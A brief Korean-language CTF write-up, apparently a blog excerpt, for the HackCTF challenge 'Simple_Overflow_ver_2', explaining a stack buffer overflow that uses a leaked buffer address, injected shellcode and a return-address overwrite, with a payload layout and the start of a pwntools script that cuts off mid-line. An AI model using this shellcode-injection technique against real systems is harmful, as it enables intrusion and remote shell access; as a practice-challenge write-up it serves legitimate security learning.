👉🏻 [ HackCTF ] Simple_Overflow_ver_2
문제 분석 문제를 실행해 보면 Data를 입력하면 버퍼의 주소를 알 수 있다. 다시 Data를 입력하면 같은 위치에 새로운 Data가 들어간다. 문제 풀이 처음에 아무 값이나 입력해서 버퍼의 주소를 찾고, 해당 버퍼에 쉘코드를 삽입하고 return address를 버퍼의 주소로 덮어주면 쉘을 획득할 수 있다. Data는 ebp-0x88에 위치하므로 다음과 같이 payload를 작성할 수 있다. shellcode + '\x90'*(0x88(buffer)-len(shellcode)+4(sfp)) from pwn import * p = remote('ctf.j0n9hyun.xyz', 3006) context.arch = 'i386' shellcode = asm(shellcraft.sh()) p.sendline..